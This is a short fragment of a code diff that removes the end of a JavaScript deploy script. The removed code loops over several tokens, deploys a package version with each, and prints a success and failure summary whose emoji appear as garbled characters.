|
214
|
-
const overall = { success: [], failed: [] };
|
|
215
|
-
|
|
216
|
-
for (let i = 0; i < tokens.length; i++) {
|
|
217
|
-
const token = tokens[i];
|
|
218
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
219
|
-
console.log(`π Token ${i + 1} / ${tokens.length}`);
|
|
220
|
-
|
|
221
|
-
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
|
|
222
|
-
overall.success.push(...success);
|
|
223
|
-
overall.failed.push(...failed);
|
|
224
|
-
}
|
|
225
|
-
|
|
226
|
-
// 4. Overall summary
|
|
227
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
228
|
-
console.log('π Overall Deploy Summary');
|
|
229
|
-
console.log(` β
Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
|
|
230
|
-
console.log(` β Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
|
|
231
|
-
|
|
232
|
-
if (overall.failed.length > 0) {
|
|
233
|
-
process.exit(1);
|
|
234
|
-
}
|
|
235
|
-
})();
|